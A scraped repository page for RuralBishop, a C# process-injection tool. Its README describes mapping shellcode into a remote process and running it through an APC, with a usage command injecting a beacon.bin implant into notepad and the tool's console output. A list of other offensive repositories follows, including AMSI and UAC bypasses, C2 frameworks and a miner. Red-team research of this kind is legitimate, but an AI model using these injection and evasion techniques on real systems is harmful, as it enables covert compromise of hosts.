• Stars
    star
    102
  • Rank 335,584 (Top 7 %)
  • Language
    C#
  • License
    BSD 3-Clause "New...
  • Created over 4 years ago
  • Updated over 4 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

D/Invoke port of UrbanBishop

RuralBishop

RuralBishop is practically a carbon copy of UrbanBishop by b33f, but all P/Invoke calls have been replaced with D/Invoke.

This creates a local RW section in RuralBishop and then maps that section as RX into a remote process. Once the shared section has been established the shellcode is written to the local section which then automatically propagates to the remote process. For execution RuralBishop creates a remote suspended thread (start address is set to ntdll!RtlExitUserThread) and queues an APC on that thread. Once resumed with NtAlertResumeThread, the shellcode executes and the thread exits gracefully on completion.

C:\> RuralBishop.exe -p C:\Users\Rasta\Desktop\beacon.bin -i 14680
   _O        _____             _
  / //\     | __  |_ _ ___ ___| |
 {     }    |    -| | |  _| .'| |
  \___/     |__|__|___|_| |__,|_|
  (___)
   |_|          _____ _     _
  /   \        | __  |_|___| |_ ___ ___
 (_____)       | __ -| |_ -|   | . | . |
(_______)      |_____|_|___|_|_|___|  _|
/_______\                          |_|
                  ~b33f~  ~rasta~

|--------
| Process    : notepad
| Handle     : 696
| Is x32     : False
| Sc binpath : C:\Users\Rasta\Desktop\beacon.bin
|--------

[>] Creating local section..
    |-> hSection: 0x2B4
    |-> Size: 261120
    |-> pBase: 0xC30000
[>] Map RX section to remote proc..
    |-> pRemoteBase: 0x1E5D86C0000
[>] Write shellcode to local section..
    |-> Size: 261120
[>] Seek export offset..
    |-> pRemoteNtDllBase: 0x7FFC44BA0000
    |-> LdrGetDllHandle OK
    |-> RtlExitUserThread: 0x7FFC44C0A2A0
    |-> Offset: 0x6A2A0
[>] NtCreateThreadEx -> RtlExitUserThread <- Suspended..
    |-> Success
[>] Set APC trigger & resume thread..
    |-> NtQueueApcThread
    |-> NtAlertResumeThread

More Repositories

1

Sherlock

PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities.
PowerShell
1,831
star
2

Watson

Enumerate missing KBs and suggest exploits for useful Privilege Escalation vulnerabilities
C#
1,491
star
3

TikiTorch

Process Injection
C#
748
star
4

SharpC2

Command and Control Framework written in C#
C#
338
star
5

MiscTools

Miscellaneous Tools
C#
259
star
6

AmsiScanBufferBypass

Bypass AMSI by patching AmsiScanBuffer
C#
235
star
7

Aggressor-Script

Collection of Aggressor Scripts for Cobalt Strike
PowerShell
172
star
8

CsWhispers

Source generator to add D/Invoke and indirect syscall methods to a C# project.
C#
147
star
9

EWSToolkit

Abusing Exchange via EWS
C#
146
star
10

DInvoke

Dynamically invoke arbitrary unmanaged code from managed code without P/Invoke.
C#
130
star
11

PPEnum

Simple BOF to read the protection level of a process
C
95
star
12

SCMUACBypass

C++
88
star
13

SpawnWith

C++
84
star
14

ExternalC2.NET

.NET implementation of Cobalt Strike's External C2 Spec
C#
81
star
15

Fork-n-Run

C#
69
star
16

CollectorService

C#
50
star
17

Rosplant

C#
50
star
18

AsyncNamedPipes

Send and receive messages over Named Pipes asynchronously.
C#
39
star
19

AsyncSockets

Example of async client/server sockets in .NET 5
C#
16
star
20

Mjolnir

Shell
14
star
21

offensive-defence

HTML
13
star
22

McAfeeForOutlook

Beef hook OWA / Outlook
JavaScript
11
star
23

EncryptedKeyExchange

C#
11
star
24

p0wnedLoader

XSLT
9
star
25

SignalRDemo

C#
8
star
26

KerbTestApp

C#
7
star
27

SharpC2-Docs

Python
4
star
28

PacketAlchemy

Playing with packets in C#
C#
3
star
29

rastamouse.me

HTML
3
star
30

Invoke-XMRig

PowerShell
1
star